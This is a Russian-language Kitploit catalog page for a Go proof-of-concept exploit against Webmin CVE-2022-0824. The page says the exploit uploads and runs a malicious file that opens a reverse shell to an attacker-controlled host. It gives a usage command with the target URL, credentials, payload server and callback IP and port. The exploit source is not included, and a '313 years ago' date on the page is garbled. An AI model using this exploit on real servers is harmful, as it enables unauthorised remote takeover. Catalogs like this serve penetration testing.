Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
golang-webmin-CVE-2022-0824-revshell — Эксплойт POC для CVE-2022-0824 | Kitploit
Инструменты/GitHubGitHub/pizza-power/golang-webmin-cve-2022-0824-revshell
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubpizza-power/golang-webmin-cve-2022-0824-revshell

golang-webmin-CVE-2022-0824-revshell

Эксплойт POC для CVE-2022-0824

Репозиторий
313 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

golang-webmin-CVE-2022-0824-revshell

RCE в Webmin <= 1.984

CVE-2022-0824 и CVE-2022-0829

Это эксплуатирует уязвимость BAC в Webmin для загрузки вредоносного файла, изменения его прав и выполнения. Файл, созданный в функции makePayload, представляет собой обратную оболочку (reverse shell) к серверу, контролируемому атакующим.

Использование

go run cve-2022-0824.go -t "https://172.16.177.132:10000" -c "username:password" -sl 172.16.177.1:8999 -s 172.16.177.1 -p 4444

t -> целевой URL
c -> учетные данные для webmin
sl -> ваш локальный IP-адрес сервера и порт для размещения полезной нагрузки
s -> IP для обратного вызова
p -> порт для обратного вызова

Ссылки

https://www.webmin.com/security.html
https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
https://nvd.nist.gov/vuln/detail/CVE-2022-0824

Скачать инструмент